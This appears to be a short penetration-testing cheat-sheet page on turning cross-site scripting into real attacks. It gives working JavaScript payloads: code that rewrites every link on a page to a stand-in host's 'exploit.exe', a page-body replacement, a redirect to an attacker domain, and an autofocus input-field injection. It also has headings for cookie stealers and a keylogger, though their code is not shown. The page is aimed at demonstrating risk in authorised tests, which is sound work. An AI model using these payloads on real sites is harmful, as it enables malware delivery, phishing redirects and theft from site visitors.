Weaponising XSS

1-up your <script>alert(1)</script> and effectively demonstrate risk

Content substitution

Replace all links on the page with your link

for (var i = 0; i < document.links.length; i++) {
  var a = document.links[i];
  a.href = 'https://domain.com/exploit.exe';
}

Replace HTML element

Replace HTML elements wwith your custom content using Element.innerHTML function. Example below replaces entire body element.

document.body.innerHTML = 'New body HTML';

Forward traffic

Simply forward traffic to your own site

location.replace("https://domain.com")
Example use in "input" field
onfocus=location.replace("https://domain.com") autofocus=a

Data Exfiltration

document.location cookie stealer

img src cookie stealer

PHP Server to cache cookies

Multiple methods have been included below for exfiltration, choose only one

Key logger

Log keystrokes made to attackers remote server

Last updated

Was this helpful?